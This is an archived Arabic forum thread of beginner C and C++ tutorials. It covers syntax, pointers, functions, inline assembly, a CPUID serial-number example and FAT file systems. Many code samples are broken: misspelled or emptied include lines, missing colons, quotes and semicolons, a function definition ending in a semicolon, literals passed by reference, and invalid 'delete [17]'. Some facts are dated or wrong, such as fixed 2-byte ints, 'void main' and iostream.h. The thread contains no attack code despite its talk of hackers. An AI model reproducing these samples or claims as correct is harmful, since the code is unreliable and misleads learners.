الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

مشاركات المدمر خلال 48 ساعه

مغلقرائج
بدأه الملك المدمر في 20 أكتوبر 2004 · 72 رد · 7,902 مشاهدة · في قسم المواضيع الهامة في قسم السي /سي++
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

بسم الله الرحمن الرحيم

السلام عليكم

تعلم لغة السي في درس واحد كما يدعي صاحب الدرس اترككم في طيات هذا الدرس الرائع والجميل

لا يختلف اثنان على ان لغة البرمجة C من اقوى لغات البرمجة قديما وحديثا، وسواء كنت تريد تطوير تطبيقات في مختلف نظم التشغيل كـ Windows او Linux فمن الضرور تعلم اساسيات اللغة هذا ان علمنا ان لغة C هي لغة برمجة موحدة في مختلف منصات نظم التشغيل، يعتبر هذا الدرس مدخلك الابتدائي الى البرمجة بلغة C.

قد تبدو فكرة تعلم لغة برمجة C في درس واحد ضرب من الخيال، وهي فعلا خيال! ولكننا هنا سنحاول التطرق لمعظم سمات اللغة واساسياتها بحيث تعطيك فكرة جيدة جدا عن لغة البرمجة C، وسنبدأ بكتابة برنامجك الاول بلغة C والمعروف بـ Hello World ولكن مع تغيير بسيط:

1 #inlcude 

2 void main ()
3 {
4 /*طباعة جملة ترحيبية على الشاشة*/
5 printf ("Welcome to dev4arabs.com\n");

6 return;
7 }

ملاحظة: لا تكتب الارقام من 1-7 كما في المثال السابق، فلغة C لا تعتمد الترقيم لكتابة اوامرها، والغرض من هذه الارقام هو لشرح تفاصيل الكود في هذه المقالة.

لنبدأ مع السطر (1) والذي يحتوي على جملة #include. تستخدم هذه العبارة اذا اردت تضمين او تشميل مكتبة وظائف اضافية في شفرة برنامجك، فالوظيفة المستخدمة printf ليست من ضمن وظائف لغة C، لذلك نحتاج الى تضمين مكتبة stdio.h في برنامجنا حتى نتمكن من استخدام الوظيفة printf.

توجد مئات المكتبات والتي تأتي مع حزمة مترجم لغة C، معظمها قياسية تتبع لمعايير ANSI C. وفي العادة تكون معظم هذه المكتبات في مجلد خاص به، اما اذا كانت المكتبة في مجلد غير المجلد المحدد لمترجم بيئة التطوير، فعليك تحديده بنفسك باستخدام علامة التنصيص المزدوجة " و " عوضا عن الاقواس المثلثة < و >:

#include 
#include 
#include "C:\myLIB\MyHead.h"
#include "D:\test.h"

السطر (2) يعرف الوظيفة main، وهي اول وظيفة يتم استدعائها من قبل نظام التشغيل عند تنفيذ برنامج، صيغ كتابة الوظائف في لغة C سنتحدث عنه لاحقا، ولكن اعرف الان وبشكل مؤقت ان بداية ونهاية الوظيفة تحددها الاقواس المعكوفة { و }:

void main()
{
...
...
...
}

void test ()
{
...
...
...
}

اما في السطر (4) فنقوم بطباعة الجملة الترحيبية "Welcome to dev4arabs.com" وقد انهينا السلسة النصية string بالحرفين n\ وهما يستخدمنا للتعبير عن علامة سطر جديد Newline ينقل مؤشر الكتابة Cursor الى سطر جديد. يمكنك استخدام ايضا \" اذا اردت طباعة علامة التنصيص المزدوجة والرمز \\ للحرف\ وغيرها من الرموز التي تجدها في ملفات التعليمات.

في السطر (6) استخدمنا الكلمة المحجوز return والتي تنهي مسار تنفيذ الوظيفة الحالية (وهي main) وبالتالي تنهي عملية تنفيذ البرنامج.

الثوابت والمتغيرات

توفر لك لغة C اربع اشكال من الثوابت مختلفة الاحجام والاغراض يمكنك استخدامها في الكود وغالبا في عملية اسناد القيم الى المتغيرات هي:

1. الاعداد الصحيحة:

• بالنظام العشري DEC:

10, 20, 0, -4

• بالنظام الثماني OCT:

01, 07, 03

• بالنظام الستعشري HEX:

0X1, 0XABC, 0XEE4

2. الاعداد العشرية:

10.5, 200.0000001, -120.123, 2e3, 4e-10

3. الحروف:

'A', 'B', 'C', '1', '2', '?'

4. النصوص strings:

"Welcome to dev4arabs.com", "A", "1"

اما المتغيرات فتوجد خمسة انواع من المتغيرات char، int، double، float و void يمكنك البحث عن تفاصيلها في مكتبة MSDN، واذا اردت الاعلان عن متغير استخدم النوع ومن ثم اسم المتغير:

int x;
double X; /*فتسمية المتغيرات حساسة لحالة الاحرف الكبيرة والصغيرة X لا تساوي x*/
char a = 3, y = 5, z;

جمل التفرع وحلقات التكرار

الصيغة التالية تمثل صيغة IF لتفيذ عبارة واحدة:

if ( X > 3 )
printf ("X > 3");

واذا اردت تنفيذ مجموعة عبارات استخدم الاقواس { و } لتعريف كتلة Block:

if ( X > 3 )
{
printf ("X > 3);
printf ("\nX is Greater than 3");
}

يمكنك استخدام else ايضا، واذا اردت التحقق من المساواة، استخدام المعامل == وليس =:

if (b == 0)
printf ("Zero\n");
else
printf ("Not zero\n;

التفرع باستخدام يتم باستخدام switch مع ضروري استخدام الكلمة المحجوزة break عند كل case:

switch( x ) {
case 1
printf ("ONE");
break;
case 2
printf ("TWO");
break;
case 3
printf ("THREE");
break;
...
...
...
}

اخيرا، الكود التالي يعرض صيغة استخدام حلقة for و while، واذا اردت تنفيذ مجموعة عبارات استخدام الاقواس { و }:

for (int x=0; x < 10; x++)
printf ("%d ", x);


int x = 0
While ( x < 10 )
{
printf ("%d ", x);
x++;
}

الوظائف

يمكنك تعريف الوظائف Functions بلغة C بنفس الصيغة التي استخدمناها لتعريف الوظيفة الرئيسة main في البرنامج الاول. من المهم جدا تعريف الوظيفة في سطر يسبق (اي فوق) السطر الذي يستخدم تلك الوظيفة، فالكود التالي:

void main ()
{
MyFun ();
}

void MyFun ()
{
...
...
...
}

لن تتم ترجمته بشكل صحيح، وذلك لان تعريف الوظيفة MyFun قد اتى في سطر يتلو (اسفل) السطر الذي استدعى تلك الوظيفة، لذلك عليك بتعريف الوظيفة MyFun فوق الوظيفة main:

void MyFun ()
{
...
...
...
}

void main ()
{
MyFun ();
}

مع ذلك، يمكنك تعريف الوظيفة MyFun في اسفل الوظيفة الرئيسة main شريطة كتابة تصريح Declration لها فوق الوظيفة main:

/* تصريح للوظيفة MyFun */
void MyFun ();

void main ()
{
MyFuc ();
}

void MyFun ()
{
...
...
...
}

يمكن للوظائف في لغة C استقبال المتغيرات Variables ايضا بمختلف الانواع التي تم ذكرها:

/* تصريح للوظيفة MyFun */
void MyFun (int, double);

void main ()
{
int x = 100;
MyFun (x, 10.5);
}

void MyFun (int x, double y)
{
printf ("X = %d, Y = %f", x, y);

}

النوع void المكتوب في يسار الوظيفة يحدد نوع القيمة التي تعود بها الوظيفة، يمكنك تحديد نوع اخر من القيم واستخدام العبارة return لتنهي عملية تنفيذ الوظيفة وتعود بالقيمة المطلوبة:

int Abs (double x)
{
if (x < 0 )
return x * (-1);
else
return x;
}

العناوين والمؤشرات

في الحقيقة، ان من اهم الاسباب التي انجحت قوة لغة C هو تطبيقها لمبدأ المؤشرات Pointers، التحدث عن هذا الموضوع يتطلب عشرات المقالات وفصول متعددة من الكتب! الا اننا سنعرفك بالفكرة الرئيسية من المؤشرات وتطبيق بسيط يستخدمها.

جميع المتغيرات التي تعلن عنها تحفظ في اماكن معينة في الذاكرة تسمى العنواين Addresses، فكل متغير له عنوان Address خاص به يمكنك الحصول عليه باستخدام المعامل &:

void main ()
{
int a = 10;
printf ("a = %d and its address is: %X", a, &a);
}

نفترض اننا نريد حفظ عنوان المتغير a في متغير اخر اسمه pa، في هذه الحالة ندعو المتغير pa بالاسم مؤشر Pointer فهو يشير الى عنوان متغير اخر اسمه a. لتعريف المؤشر pa، عليك استخدام المعامل*:

void main()

{

int a = 10, *pa;

pa = &a;

printf ("a address is: %X and the pointer pa = %X", &a, pa);

}

يمكنك الوصول الى العنوان الذي يشير اليه المتغير pa باستخدام المعامل * ايضا:[CODE]
void main ()
{
int a, *pa;

pa = &a;
*pa = 10;

printf ("a = %d", a);
}

الفوائد التي تعطيك اياها المؤشرات لا نهاية لها، الا اننا سننهي هذه الفقرة بتطبيق مثال يستخدمها وهو تعريف وظيفة باسم swap تمكنك من تبديل قيمة متغرين:

void Swap (int*, int*);

void main ()
{
int x = 100, y = 200;

/*x = 100 and y = 200 */
printf ("x = %d and y = %d \n", x, y);

Swap (&x, &y);

/*x = 200 and y = 100 */
printf ("x = %d and y = %d \n", x, y);
}

void Swap (int* x, int* y);
{
int iTmp;

iTmp = *x;
*x = *y;
*y = iTmp;
}

خاتمة

هذه هي لغة C! استعرضنا في هذا المقال السمات الاساسية للغة البرمجة C وفقا لمواصفات ANSI C، يمكنك البدء بتعليم نفسك ذاتيا الان سواء من مكتبة MSDN او الحصول على كتب تعريفية في لغة البرمجة C للحصول على تطبيقات اكثر عملية وتفاصيل اشمل في كل ما ذكرناه.

اتمنى يكون الشرح واضح

تحياتي للجميع

(((((((((******** الملك المدمر******)))))))))))

mido_hack_2003@hotmail.com

تم تعديل هذه المشاركة بواسطة مجدي محمود في 20 أكتوبر 2004 في 18:33

#2

اتمنى فب هذا المقال تفهمون لماذا نتعلم لغه سي وهذه نبذه عنه اللغه بسيطه جدا جدا

لغه سي لماذا نتعلمها ؟؟؟ ولماذا الهاكر يستخدمها ؟؟ ومال الفرق بين C/C++

1- لغه سي نتعلمها لانها لغه قويه جدا وهيا غير محدوده مثل لغات الاخرى فهيا تعتمد على خيالك وهي عبارد عن keyword وهيا لغه اساسيه لبعض اللغات مثلا لغه جافا هي شبيها بلغه C لانه صممة عن طريق لغه C

(تذكرو في هذا المقال لن نتكلم كيف تعمل او كيف نبرمج )

2- لماذا يستخدمها الهاكر كما قلت قبل قليل هي لغه غير محدوده لنقول هاكر احتاج الى مساعده وهو في ورطه .. ماذا سوف يعمل بكل بساطه يبرمج برنامج وسف نتعلم قريبا باذن الله كيف المبرمج يخطط للبرمجه برنامج معينا

3- ما الفرق بين C/C++ نفس الشيء لا يختلفون عن بعض فقط انه C++ يوجد بها اضافات جديده

وشكرا

مع تحيات (((((((((********الملك المدمر********)))))))))

#3

Built-in data types 
Integers (size : 2 bytes) 
eg : int age = 5; 
Float numbers (size : 4 bytes) 
eg : float weight = 84.5; 
Characters (size : 1 byte) 
eg : char grade = 'b'; 
Double float numbers (size : 8 bytes) 
eg : double distance = 33.333; 


Data constructions 
Arrays 
int list[3]; 
char table[4][3]; 
list[2] = 333 
table[1][3] = 'c'; 
List is a one dimension array ( 3 items )of integers. 
table is a two dimensions array ( 4 rows and 3 columns )of characters. 
the value of the third element ( notice that it starts from 0 ) is '333'. 
the value of the fourth row in the third column is 'c'. 
Pointers 
int y , * x; 
y = 3; 
x = & y; 
* x ++ 
We first initialized two variables ( y is an integer and x is a pointer to an integer ) 
we assigned ( y = 3 ) 
We let x points to y ( put the address of y in x ) 
we increment the variable which the x is pointing to ( y = 4 now ) 
Dynamic allocaton 
These variables are created when we need'em and then they must be deleted. 
notice that these variables are generated during the excution time not in the compiling time as the other variables. 
Creating a new variable : 
eg : int * xPtr = new int; 
eg : char * NamePtr = new char[17]; 
Deleting it : 
eg : delete xPtr; 
eg : delete [17] NamePtr; 
Structures 
Defining a structure : 
sruct employee { 
int id; 
float salary; 
char phone[30]; 
}; 
Here we've defined a new variable type called employee 
Declaring a structure : 
struct employee Hussein,Ali; 
Here we've declared two variables called 'Hussein' and 'Ali' respectively of type employee 
Accessing an element of the structure : 
Hussein.id = 5; 
cout << " Ali's salary = " << Ali.salary; 
Here we've put the value '5' in the 'id' of the 'Hussein' , and then we displayed the 'salary' of 'Ali' 
Pointers to structures 
Assume we've the structure written in the previous example. 
Declaring a pointer to it : 
employee * pt = & Ali; 
Accessing one of it's elements: 
pt -> salary = 22.3; 
or : 
(*pt).salary = 22.3; 


Operators 
Arithmatic 
( + ) Addition. 
assume we have x = 5 . 
x = x + 3; 
x now equals 8 
cout << + + x; 
The computer will display the number 6 
cout << x + +; 
The computer will dispaly the number 5 

( - ) Subtraction. 
assume we have x = 5 . 
x = x - 3; 
x now equals 2 
cout << - - x; 
The computer will display the number 4 
cout << x - -; 
The computer will dispaly the number 5 

( * ) Multiplication. 
( / ) Division. 
( % ) Division's remainder. 

Logic 
( > ) Greater than. 
( < ) Less than. 
( > = ) Greater than or equal. 
( < = ) Less than or equal. 
( = = ) Equal. (Two adjacent equal's for logic operations.) 
( ! = ) Not Equal. 
( & & ) And. (Two adjacent and's for logic operations.) 
( | | ) Or. (Two adjacent or's for logic operations.) 
( ! ) Not. 


Statements and loops 
If statemant 
if ( condition ) { 
......; 
......; 
} 
if ( condition ) { 
......; 
......; 
} 
else { 
......; 
......; 

While statement 
while ( condition ) { 
......; 
......; 
} 
do { 
......; 
......; 
}while( condition ) 
For loop 
for ( i=5; i>=2; i-- ) { 
......; 
......; 
} 
Notes 
Break statement 
It causes the programme to exit from the loop. 
Continue statement 
It causes ther programme to skip other loop statements and go to the start of the loop . 
Return ( x ) 
It causes the function to terminate and returns the value of x . 


Functions 
Simple Function : 
void fun1(void); 
void main(void){ 
cout<<"\nMain programme"; 
fun1( ); 
getch( ); 
} 
void fun1(void){ 
cout<<"\nFunction"; 
} 
Passing and returning values : 
int fun2(int x); 
void main(void){ 
int y; 
y=fun2(33); 
cout<<y; 
getch( ); 
} 
int fun2(int x){ 
if(!(x%11)) { 
cout<<"\nDivisible by eleven"; 
return (x/11); 
} 
else { 
cout<<"\nNot divisible by eleven"; 
return 0; 
} 
} 
Passing variables by references : 
void fun3(int &x , int &y); 
void main(void){ 
fun3(3,4); 
cout<<x<<y; 
getch( ); 
} 
void fun3(int &x , int &y){ 
x++; 
y++;

}

تم تعديل هذه المشاركة بواسطة مجدي محمود في 20 أكتوبر 2004 في 18:25

#4

فائدة لغة C++ :

كثير منا يتسائل مافائدة هذه اللغة وهذه لغة تعتمد بشكل جذري على بيئة الدوس وكثير منا يمل من التعامل على صفحة سوداء

وكتابة أوامر ....

سوف أقول لك مافائدتها :

يا أخي أنت تعمل الآن على بيئة وندوس ولنفرض وندوز XP مع مظهره الرائع ونوافذه الجميلة لكنك لا تعرف اذا يجري

خلف كل هذه الواجهات فهنالك اوامر باللغة التعقيد ، لذالك وبما أن هذه الدورة موجهة الى الهكرز وتطبيقاته فاننا لا نهتم

بأمور Visual وانما نهتم البيئة الداخلية التي تحاكي الحاسوب ، ولهذا فان لغة C++ من أعرق اللغات التي تبرمج السيرفرات

وملفات الباتش وأيضا الفايروسات (( انظروا قسم الفايروسات فيه فايروس بهذه اللغة)) ويارب نوفق لعمل كل مابوسعنا

لكي نلم بأغلب اوامرها .

وعلى بركة الله .....

اساسيات C++ :

سنبدء اليوم سلسلة دروس عن لغة C++انها لغة صعبة ولكنها قوية جدا اريدك ان تعرف معلومة هامة كلمة كانت لغة البرمجة صعبة كلما كانت قوية واذا كنت تتعلم لغة الآن واحسست بسهولتها فيجب ان تعلم انها لغة ليست قوية هذا رأيي الخاص واظنه شئ صحيح احب ان تعرف معلومة اخرى ان لغة C++ليست هي لغة سي مع التشابه الكبير لاوامر ودوال اللغتين المهم معنا الآن اننا نتعامل مع لغة C++واضيف شئ اخير انك اذا لم تفهم هذه الدروس فمعنى ذلك انني اخفقت في الشرح والتوضيح وتأكد حينها ان العيب عندي انا وليس عندك ولكي نبدء دروسنا يجب عمل الآتي.

متطلبات العمل

-1 كومبايلر للغة ودعني اقول لك ماهو الكومبايلر حتى وان كنت تعرفه انه البرنامج الذي يحول البرنامج الذي تكتبه الى برنامج تنفيذي قابل للتشغيل والتوزيع والبيع الى آخر ذلك وهناك انواع كثيرة مثل

Borland C++

Microsoft Visual C++

Watcom C/386

DJGPP.

انا انصح بالكومبايلر الاول او الثاني أما الثالث والرابع فلم اجربهم ولست في حاجة اليهم ولست اقصد بذلك الا تستعملهم ولكن فقط لم اجربهم

عند تعلم لغة كومبيوتر جديده اصبحت عادة ان تقوم بطبع رسالة هالو ورلد

Hello World

بالطبع هم يخاطبون العالم ولهم الحق في ذلك ولكن انا سوف اطبع رسالة على الشاشة وهي Hello All Hackers

البرنامج الأول :

// This is the 1st lesson 
#include <iostream.h> 

int main() 
{ 
cout<<"Hello All Hackers"; 
return 0; 
}

دعونا نشرح ما كتبنا لقد بدأت بالعبارة الآتية

// This is the 1st lesson

عند كتابة // معناها انني اكتب ملاحظات وبالتالي كل ما يليها لايهم الكومبايلر عند الترجمة وفائدة الملاحظات عظيمة فكلما كتبت جزء من البرنامج وضحت هاتين العلامتين وبعدها ماتريد ان تقوله لنفسك او لمن يراجعون بعدك ماذا تفعل فاءذا عدت لتعديل البرنامج بعد فترة من الزمن سيكون ذلك رائع ان تتذكر افكارك في البرنامج موضع التعديل والآن الى التعليمة التالية لقد كتبنا

#include <iostream.h>

العلامة # يليها امر include هي من تعليمات المعالج المبدئي

Preprocessor directive

لاحظ ان اوامر اللغة تكتب بالحروف الانجليزية الصغيرة

يلي ذلك مابين القوسين <> اسم ملف ينتهي بالامتداد h

هذا النوع من الملفات يسمى header files

وهي ملفات تأتي مع كومبايلر اللغة وان كنت ستتعلم في مرحلة متقدمة من هذه الدروس عملية انشاء ملفاتك الخاصة وهي عبارة عن ملفات يوجد بها تعريف لاوامر اللغة المستخدمة داخل برنامجك وبالتالي لكل مجموعة اوامر ملفاتها الخاصة لا تقلق سوف تعرف كل ذلك قريبا

اذا الاوامر المستخدمة في مثالنا السابق يحتاج الملف iostream.h

وهذا الملف هام جدا ورئيسي دائما ضم هذا الملف باستخدام الامر

#include <iostream.h>

ملخص

من اوامر لغة سي ++ (المعالج المبدئي) #include

ملف او هدير فايل لتعريف الاوامر المستخدمة iostream.h

اقواس لوضع الملف المطلوب ضمه او تحميله بينهما <>

ببساطة شديدة الامر cout الذي سيلي شرحة يحتاج الملف

iostream.h

ننتقل الآن لشرح التعليمة التالية

int main()

ومعناها الاعلان عن الدالة او جسم البرنامج الرئيسي الذي من خلاله نستدعي كل شئ ونعمل كل شئ وسوف نضع بداخله الاوامر كلها

ولكن ما هو الامر int

انه من اوامر الاعلان عن نوع المتغيرات ودعني اوضح ذلك

نوع المتغير امر اللغة الذي يعلن عن المتغير

الاعلان عن اعداد صحيحة int

الاعلان عن اعداد عشرية float

الاعلان عن حروف char

لاشئ void

وسوف نتعرض للانواع الاخرى فيما بعد وكمثال

int x = 5; 
int y = 65; 
float z = 4.677777; 
float q = 77.5443; 
char *b = “Dr.Black Person”;

لقد اعلنا ان الدالة الرئيسية للبرنامج نوعها او ستعيد في نهاية عملياتها عدد صحيح فقد تحتاج مثلا لعمل دالة لضرب عددين في بعضهما والنتيجة تعيدها الدالة حسب نوع الاعلان

ويحدد ذلك الامر return وكما ترى اعاد الامر القيمة صفر وهو بالطبع عدد صحيح نتيجة الاعلان عن دالة تعيد اعداد صحيحة

فمثلا لو انشأنا دالة لاعادة اعداد عشرية يجب ان تعيد في نهايتها اعداد عشرية مثلا

float NewFunc () 
{ 
float x , y , z; 
x = 10.5; 
y = 11.67887; 
z = x * y; 
return z; 
}

لقد اعادت الدالة حاصل ضرب 10.5 * 11.67887 وحاصل الضرب هو عدد عشري لان نوع الدالة اعداد عشرية وهكذا دعنا نعود لبرنامجنا الاصلي

نوع الدالة تعيد اعداد صحيحة int

اسم الدالة الرئيسية اساسي وهام main

قوسين مغلقين لايوجد داخلهم شئ في هذه المرحلة ()

الى التعليمة التالية القوس {

يجب ان يفتح به الدالة وتنتهي به ايضا لاحظ الاتجاه الى اليسار في بداية الدالة والى اليمين في نهايتها لتحديد بلوك الاوامر

والآن الى التعليمة التالية

cout<<"Hello All Hackers";

الامر cout يليه القوسين << مفتوحين الى اليمين معناها اخراج ما بين علامتي الاقتباس

امر طباعة على الشاشة Cout <<

علامات اقتباس لطبع الرسالة التي بينهما كما هي " "

الى الامر الاخير

return 0;

وقد شرحناه اثناء تناولنا لموضوع انواع البيانات اخيرا ينتهي البلوك الرئيسي للبرنامج باعادة قيمة صفر وهو العدد الصحيح حسب الاعلان مع الدالة الرئيسيه بالامر int

وتتفق معى انه لايجب ان يكون صفر دائما ولكن كيفما تريد وحسب العمليات ولكن المهم ان يكون عدد صحيح 1 او 2 او غيرها لاننا اعلنا عن ذلك وعلينا الالتزام به والا سوف يعطي الكومبايلر رسالة خطأ

والى الامر الاخير }

انه قوس نهاية البلوك ولاحظ انه الى اليسار ليغلق البلوك الذي فتح بمثله ولكن الى اتجاه اليمين والآن انتهى برنامجنا الافتتاحي والى ملاحظاتنا

تذكر أن

1- اوامر اللغة تكتب بحروف صغيرة small letters

2- البرنامج يبدء بأوامر المعالج المبدئي لضم الملفات # include

3- الدالة الرئيسية main يجب ان تكون موجودة

4- يفتتح البرنامج بالقوس} ويغلق بالقوس{

5- الملف الذي انشأته سيقوم برنامج التحرير بحفظه باسم ينتهي بالامتداد cpp

6- جميع سطور البرنامج وبعد نهاية الاوامر والاعلانات نضع الفاصلة المنقوطة ;

بعد اقواس افتتاح البرنامج وبعد اوامر المعالج المبدئي وبعد اسم الدالة حاليا اقول لك نضعها فقط بعد الاوامر داخل بلوك الدالة ومعناها نهاية الامر اهتم بذلك

ماذا لو اعلنا عن نوع الدالة الرئيسية بالامر void ومعناه غير مطلوب منها اعادة شئ سيكون الامر return بدون قيم بالطبع او كما يلي

// This a modification no. 1 
#include <iostream.h> 

void main() 
{ 
cout<<"Hello All Hackers"; 
return; 
}

لاحظ الامر return لم يوضع بعده قيم

وتذكر ان مايلي // هي عبارة عن ملاحظات لسطر واحد فقط وكلما وضعت سطر ملاحظات ضع هاتين العلامتين في بداية السطر

// This is a remark no. 1

// And this is the remark no. 2

// It is no. 3

وهناك اسلوب اخر لكتابة الملاحظات في عدة سطور بأن تبدء بالعلامة /*

ثم تكتب ما شئت من ملاحظات في اي عدد من السطور ثم تنهيها بالعلامة */

مع ملاحظة الاتجاهات وتكون الملاحظات السابقة بالاسلوب الذي شرحناه كما يلي

/* 
This is a remark no. 1 
And this is the remark no. 2 
It is no. 3 
*/

لاحظ الفرق لكي يتضح لك الشرح استخدم ايهما او ما تراه اسهل لك

أخواني هذه بداية اللغة وأي استفسار أنا جاهز باذن الله المهم أنني أريد غاية واحدة وهي عدم كتمان العلم الذي أعطاني اياه الله سبحانه وتعالى

رجااااااااااااااااااااء خاص يا أخوان أن تطبقوا كل درس بدرسه والا فلا يمكنك أن تتعلم وتلم في جميع خفايا اللغة .

وتقبلوا تحياتي

أخوكم

تم تعديل هذه المشاركة بواسطة مجدي محمود في 20 أكتوبر 2004 في 18:25

#5

درس لكيفية أدخال كود أسمبلي في ++c

كيفة أدخال كود أسمبلي في ++cمع شرح بمثال لدالة ومثال لكود عادي

إن عملية كتابة تعليمات Assembly ضمن C++ هي بسيطة و يكفي كتابة _asm قبل كل تعليمة Assembly مثل :

_asm mov eax,10 
_asm add eax,5

أو يمكن استخدام ال Block لتجميع عدة تعليمات Assembly مثل :

_asm 
{ 
mov eax,10 
add eax,5 
}

هذا شرح سريع لكيفية كتابة تعليمات Assembly ضمن C++

وهذه التعليمات تنفذ في مكان كتابتها حسب مكان تواجدها في البرنامج مثلا:

int a=5; 
_asm mov eax,a

أولا :- عندما تريد كتابة كود أسمبلي يمن أن ستخدم أيضا ال__asm

ثانيا :- تنفيذ كود الأسمبلي يتم خطوه خطوه حسب ورودها في البرنامج أو بطريقه أخرى بالنفس الطريقه التي تنفذ بها كود سي (خطوه خطوه)

ثالثا :- بالنسبه لوضع المسجلات و المكدس و ما إلى ذلك عندما تريد كتابة كود أسمبلي في سي . فهو لا يتغير عند دخولك في بلوك يحتوي على كود أسمبلي .

على سبيل المثال تخيل معي أنك تنفذ كود في سي++ و نفذت آخر أمر في سي ++ الذي بعده تبدأ بتنفيذ تعليمات الأسمبلي . نفترض أنك أنهيت تعليمة سي++ و كان محتويات المسجل ecx هي 00000054h فعندما تدخل في البلوك الأسمبلي لن يتغير هذا المحتوى مالم تقم أنت بتغييره .

و من هذا كله نستنتج أنه إذا كانت هناك أكثر من بلوك أسمبلي في برنامج فإن كل بلوك يكون منفصل تماما عن أخيه .

رابعا :- و يمكن أن تقوم بنقل محتويات أحد المتغيرات إلى أحد المسجلات عن طريق ذكر إسم المتغير داخل بلوك الأسمبلي و فيما ييلي سوف أعرض كود يقوم بنقل محتوى متغيرين في لغة سي ++ إلى مسجلين مختلفيت لكي تقوم الأسمبلي بجمعها :-

int MyFunc(int var1 , int var2 ) 
{ 
__asm { 
mov eax ,var1 
mov ecx ,var2 
add eax ,ecx 
} 
}

خامسا :- القيم المسترجعه (Returned Value) طبعا سوف تستعجب لهذا الكود لأني قمت بكتابة الداله أعلاه

على أنها تعيد int لكنها لم ترجع شيئا ( هذا ماتعتقده ) لكن مهلا إن نفذت الكود أعلاه ستجد أن المصرف يقبل هذا

الكود و يكتفي بتحذيرك عن عدم وجود قيمه مسترجعه . ولكن كيف ......... أليس عدم وجود قيمه مسترجعه غيرهذه

الداله يعتبر خطأ قواعديا لايمكن أن يغفره المصرف لك بهذه السهوله ؟!! و الجواب أن المسجل EAX يستخدم فيما

يستخدم من أجله لكي يستوعب القيم السترجعة.

فنحن هنا قمنا بجمع المتغيرين و الناتج وضعناه في المسجل EAX و هذا يكفل أن يكون الناتج هو القيمه

المسترجعه .

يبقا لنا سؤال واحد ألا و هو كيف نزيل التحذير الذي يظهره لنا المصرف ، صراحه أنا لم أقوم بتجربته لكن حسب

ما ماكتب في MSDN ، أنه يمكن أن تزيل هذا التحذير عن طريق :-

#pragma warning

طبعا الكود أعلاه لا يكتب بالصوره التي أعلاه لكن إن كنت تريد مزيدا من التفصيل قم بالبحث عنها في MSDN

هذه بعض المعلومات المتعلقه بلغة الأسمبلي داخل سي و ليس كلها حيث بقيت مواضيع مثل تمرير المتغيرات أو

الوسطاء إلى المكدس و أيضا calling conventions نتركعها لأهل الأختصاص

و بصراحة لا يوجد اختلاف بين

_asm و __asm وهما موجودان من أجل التوافقية مع بقية المترجمات . لكن يفضل استخدام __asm في

الفيجوال سي ..

وبالنسبة للمسجلات المستخدمة في بلوك الأسمبلي غير ال eax .. أي مسجل يستخدم يقوم المترجم بشكل آلي

بتوليد تعليمات الأسمبلي في بداية ونهاية الروتين تقوم بدفع قيم المسجلات المستخدمة إلى المكدس وسحبها منه

عن طريق تعليمتي PUSH و POP ..

طبعا يمكن أن تستعمل تعليمات القفز بالأسمبلي للقفز إلى خارج بلوك الأسمبلي ..

ويجب أن تحدد رقم ال warning من أجل الغائه وهو في هذه الحالة الرقم 4035 .. وبالتالي يصبح تابعك كالتالي :

// Disable the (no return value) warning 
#pragma warning(disable : 4035) 

int MyFunc(int var1 , int var2 ) 
{ 
__asm { 
mov eax ,var1 
add eax ,var2 
} 
} 

// return it back to the default situation 
#pragma warning(default : 4035)

أو طبعا يمكن دفع حالة المترجم إلى مكدسه ومن ثم سحبها وهذا أفضل في حالة نريد الغاء أكثر من warning واحد ..

=============

وممكن بكود يقوم بالحصول على رقم المعالج بدأ من بنتيوم 3 الرقم هم SN وهو وحيد من أجل المعالج :

#include <stdio.h> 

typedef unsigned long DWORD; 
enum BOOL { FALSE, TRUE }; 

BOOL GetCPU_ID(DWORD &lo, DWORD &hi) 
{ 
BOOL res = TRUE; 

__asm { 
mov eax, 1 
cpuid 
and edx, 0x00040000 
jz notSuportSN 
mov eax, 3 
cpuid 
mov esi, lo 
mov [esi], ecx 
mov esi, hi 
mov [esi], edx 
jmp finish 
notSuportSN: 
mov res, 0 
finish: 
} 

return res; 
} 

int main() 
{ 
DWORD lo, hi; 

if (GetCPU_ID(lo, hi)) 
{ 
printf("CPU SN# = %08X%08X\n", hi, lo); 
} 
else 
{ 
printf("This CPU doesn't support SN feature..\n"); 
} 

return 0; 
}

طبعا الأسمبلر المدمج مع الفيجوال سي قوي جدا وبامكانه دعم تعليمات ال MMX وممكن عمل مشروع دمج بين

الصور باستخدام ال MMX بواسطة كود خاص.. وهو تطبيق يوضخ فرق السرعة بين استخدام كود MMX وكود

عادي في عملية Fade-IN و Fade-OUT للصور .. الخوارزمية أنا كتبتها وبرمجتها وهي سهلة للغاية .. وهي

تعتمد على علم الأشعة في الرياضيات

يمكن أيضا استخدام

__declspec(noreturn)

قبل التابع الذي من المفروض أن يعيد قيمة من أجل الغاء رسالة الخطأ أو التحذير ...

---------

نظام توضع الملفات أو File Allocation Table (FAT) هو النظام الذي يخزن نظام التشغيل بواسطته المجلدات و

الملفات فمثلا لو كان عندك ملف كبير نوعا ما فإن نظام التشغيل سيقوم بتجزئته إلى مجموعة أجزاء و يخزن هذه

الأجزاء على القرص و من ثم يضع مؤشرات إلى هذه الأجزاء في FAT من أجل عملية تجميع الملف عند طلبه مرة

أخرى و حجم الجزء الواحد يتحدد بما يسمى ال Cluster و هو عبارة عن مجموعة من القطاعات Sectors و هو

يختلف باختلاف نوع نظام الملفات المستخدم حيث يوجد عدة أنظة توضع للملفات منها FAT12 المستخدم لتخزين

الملفات على القرص المرن و FAT16 المستخدم لتخزين الملفات على القرص الصلب و هذا النظام قديم و تم تحديثه

مع الاصدارة الثانية من Windows95 فأصبحت Fat32 و يوجد أيضا NTFS ( New Technology File

System ) المستخدم مع أنظمة Windows NT و Windows2000 و أيضا CDFS(Compact Disc File

System) لتخزين الملفات على القرص الليزري و HPFS(High Perfomance File System) المستخدم في

نظام Netware و العديد العديد من أنظمة توضع الملفات ... الخ.

أما الفرق بين هذه الأنظمة فهو كالتالي:

FAT16 نظام قديم و تقريبا انقرض و يدعم فقط حتى 2GB لل Partition الواحد و يمكن استعماله من قبل جميع أنظمة Windows.

FAT32 و هو نظام جديد و أفضل من FAT16 و يدعم حتى 4TB لل Partition الواحد و يمكن استعماله من قبل الاصدارة الثانية من Windows95 و Windows98 و Windows2000 و حجم ال Cluster فيه أصغر من سابقه FAT16

